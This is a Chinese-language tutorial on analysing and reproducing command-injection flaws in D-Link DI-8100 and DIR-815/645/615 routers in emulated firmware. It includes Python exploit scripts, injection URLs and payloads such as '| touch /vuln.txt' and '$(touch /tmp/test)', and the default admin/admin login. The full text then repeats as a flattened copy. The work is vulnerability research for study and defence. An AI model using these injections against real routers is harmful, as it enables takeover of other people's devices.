IOT入门--路由器命令执行漏洞
字数 1524 2025-08-30 06:50:35

D-Link路由器命令执行漏洞分析与复现教程

一、漏洞概述

本教程详细分析D-Link DI-8100和DIR-815/645/615路由器的命令执行漏洞,包含漏洞原理分析、环境搭建、漏洞复现和EXP编写等内容。

二、环境准备

1. 所需工具

  • Burp Suite (推荐使用汉化版)
  • IDA Pro (用于逆向分析)
  • binwalk (用于固件分解)
  • FirmAE (固件仿真工具)
  • GDB (调试工具)

2. 工具配置

3. 固件下载

三、DI-8100漏洞分析

1. 固件分析

  1. 使用binwalk分解固件:
    binwalk -Me DI-8100_firmware.bin
    
  2. 查看系统架构和保护机制

2. 漏洞定位

  • 主要分析目标:jhttpd服务
  • 漏洞触发点:msp_info.htm页面中的cmd参数

3. IDA逆向分析

  1. 使用IDA打开jhttpd程序
  2. 搜索字符串msp_info定位到msp_info_htm函数
  3. 关键漏洞逻辑:
    • 函数开头从传入值中获取flag字符串
    • flag=cmd时,后续的cmd内容会被放入system函数执行

4. 漏洞复现步骤

  1. 使用FirmAE仿真固件:

    ./run.sh DI-8100_firmware.bin
    

    选择选项2进入终端

  2. 访问路由器管理界面:

    http://192.168.0.1:80
    

    默认凭证:admin/admin

  3. 构造漏洞利用URL:

    http://192.168.0.1/msp_info.htm?flag=cmd&cmd=touch+/a.txt
    

    验证是否在根目录创建了a.txt文件

5. EXP编写

  1. 使用Burp Suite抓取登录请求
  2. 编写Python脚本:
    import requests
    
    url = "http://192.168.0.1/msp_info.htm"
    params = {
        "flag": "cmd",
        "cmd": "touch /xidp.txt"
    }
    response = requests.get(url, params=params)
    print(response.status_code)
    

四、DI-8100第二个漏洞

1. 漏洞位置

  • upgrade_filter_asp函数存在另一个命令执行漏洞

2. 利用方式

  1. 抓取登录请求包
  2. 编写类似EXP,修改参数为:
    params = {
        "action": "upgrade",
        "filter": "| touch /vuln.txt"
    }
    

五、DIR-815/645/615漏洞分析

1. 固件分析

  1. 分解固件:
    binwalk -Me DIR815A1_FW103b01.bin
    
  2. 关键文件:
    • squashfs-root/htdocs/web/service.cgi (指向cgibin的软链接)

2. 漏洞定位

  • 主要分析目标:cgibin文件
  • 漏洞调用链:servicecgi_main -> lxmldbc_system -> system

3. IDA逆向分析

  1. 使用IDA打开cgibin
  2. 搜索字符串定位到servicecgi_main函数
  3. 关键漏洞逻辑:
    • 检查请求方法(POST/GET)
    • POST请求需要CONTENT_LENGTH环境变量
    • 解析查询参数
    • 检查Content-Typeapplication/x-www-form-urlencoded
    • 用户输入拼接进system命令

4. 漏洞复现步骤

  1. 使用FirmAE仿真原始固件

  2. 访问管理界面:

    http://192.168.0.1:80
    
  3. 发现sess_ispoweruser检查会导致失败,需要修改固件:

    • 使用IDA将sess_ispoweruser函数NOP掉
    • 重新打包固件:
      mksquashfs squashfs-root rootfs.squashfs -noappend -always-use-fragments
      
  4. 重新仿真修改后的固件

5. EXP编写

import requests

url = "http://192.168.0.1/service.cgi"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}
data = {
    "action": "anything",
    "service": "$(touch /tmp/test)"
}
response = requests.post(url, headers=headers, data=data)
print(response.text)

六、漏洞利用技巧

  1. 命令执行无回显时,可以通过创建文件验证:

    touch /tmp/vuln_test
    

    然后通过浏览器访问:

    http://192.168.0.1/tmp/vuln_test
    
  2. 文件内容读取:

    echo "test content" > /tmp/readme
    

    然后下载文件查看内容

七、防护建议

  1. 输入验证:对所有用户输入进行严格过滤
  2. 权限控制:限制Web服务的执行权限
  3. 固件更新:及时更新到最新版本
  4. 最小权限原则:服务运行使用最低必要权限

八、总结

本教程详细分析了D-Link多款路由器的命令执行漏洞,从固件分析、逆向工程到漏洞复现和EXP编写,提供了完整的漏洞研究流程。这些漏洞主要源于对用户输入的不当处理,导致攻击者可以执行任意系统命令,危害严重。

D-Link路由器命令执行漏洞分析与复现教程 一、漏洞概述 本教程详细分析D-Link DI-8100和DIR-815/645/615路由器的命令执行漏洞,包含漏洞原理分析、环境搭建、漏洞复现和EXP编写等内容。 二、环境准备 1. 所需工具 Burp Suite (推荐使用汉化版) IDA Pro (用于逆向分析) binwalk (用于固件分解) FirmAE (固件仿真工具) GDB (调试工具) 2. 工具配置 Burp Suite代理设置参考: Burp Suite代理和火狐浏览器的设置 FirmAE下载与使用: FirmAE GitHub 3. 固件下载 DI-8100固件: D-Link官网 DIR-815固件: D-Link FTP 三、DI-8100漏洞分析 1. 固件分析 使用binwalk分解固件: 查看系统架构和保护机制 2. 漏洞定位 主要分析目标: jhttpd 服务 漏洞触发点: msp_info.htm 页面中的 cmd 参数 3. IDA逆向分析 使用IDA打开 jhttpd 程序 搜索字符串 msp_info 定位到 msp_info_htm 函数 关键漏洞逻辑: 函数开头从传入值中获取 flag 字符串 当 flag=cmd 时,后续的 cmd 内容会被放入 system 函数执行 4. 漏洞复现步骤 使用FirmAE仿真固件: 选择选项2进入终端 访问路由器管理界面: 默认凭证:admin/admin 构造漏洞利用URL: 验证是否在根目录创建了a.txt文件 5. EXP编写 使用Burp Suite抓取登录请求 编写Python脚本: 四、DI-8100第二个漏洞 1. 漏洞位置 upgrade_filter_asp 函数存在另一个命令执行漏洞 2. 利用方式 抓取登录请求包 编写类似EXP,修改参数为: 五、DIR-815/645/615漏洞分析 1. 固件分析 分解固件: 关键文件: squashfs-root/htdocs/web/service.cgi (指向 cgibin 的软链接) 2. 漏洞定位 主要分析目标: cgibin 文件 漏洞调用链: servicecgi_main -> lxmldbc_system -> system 3. IDA逆向分析 使用IDA打开 cgibin 搜索字符串定位到 servicecgi_main 函数 关键漏洞逻辑: 检查请求方法(POST/GET) POST请求需要 CONTENT_LENGTH 环境变量 解析查询参数 检查 Content-Type 为 application/x-www-form-urlencoded 用户输入拼接进system命令 4. 漏洞复现步骤 使用FirmAE仿真原始固件 访问管理界面: 发现 sess_ispoweruser 检查会导致失败,需要修改固件: 使用IDA将 sess_ispoweruser 函数NOP掉 重新打包固件: 重新仿真修改后的固件 5. EXP编写 六、漏洞利用技巧 命令执行无回显时,可以通过创建文件验证: 然后通过浏览器访问: 文件内容读取: 然后下载文件查看内容 七、防护建议 输入验证:对所有用户输入进行严格过滤 权限控制:限制Web服务的执行权限 固件更新:及时更新到最新版本 最小权限原则:服务运行使用最低必要权限 八、总结 本教程详细分析了D-Link多款路由器的命令执行漏洞,从固件分析、逆向工程到漏洞复现和EXP编写,提供了完整的漏洞研究流程。这些漏洞主要源于对用户输入的不当处理,导致攻击者可以执行任意系统命令,危害严重。